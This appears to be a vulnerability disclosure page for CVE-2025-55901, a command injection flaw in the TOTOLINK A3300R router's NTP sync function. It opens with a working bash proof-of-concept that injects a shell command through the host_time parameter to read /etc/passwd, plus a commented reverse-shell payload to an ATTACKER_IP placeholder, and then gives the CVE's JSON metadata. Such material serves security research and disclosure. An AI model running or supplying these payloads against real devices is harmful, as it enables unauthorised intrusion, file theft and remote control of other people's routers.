CVE-2025-55901

#!/bin/bash # CVE-2025-55901 PoC - TOTOLINK A3300R Command Injection # Target: NTPSyncWithHost function via host_time parameter TARGET="http://192.168.0.1" # Execute arbitrary command via host_time parameter PAYLOAD=';cat /etc/passwd > /tmp/pwned.txt;' curl -X POST "${TARGET}/cgi-bin-luci/;stok=/admin/ntp/ntpsyncwithhost"\ -H "Content-Type: application/x-www-form-urlencoded" \ -d "host_time=${PAYLOAD}" \ -v # Alternative: Reverse shell payload # PAYLOAD=';bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1;'

{"cve": {"id": "CVE-2025-55901", "sourceIdentifier": "[email protected]", "published": "2025-12-15T17:15:53.353", "lastModified": "2025-12-17T19:20:33.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOLINK A3300R V17.0.0cu.596_B20250515 is vulnerable to command injection in the function NTPSyncWithHost via the host_time parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.596_b20250515:*:*:*:*:*:*:*", "matchCriteriaId": "F33A06F0-5ED6-42AA-B4A9-DA091E6DAB0D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F723A73-4B32-4F9E-B5DA-80134D4711C1"}]}]}], "references": [{"url": "https://github.com/l0tk3/CVES/blob/main/CVE-2025-55901.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net", "source": "[email protected]", "tags": ["Product"]}]}}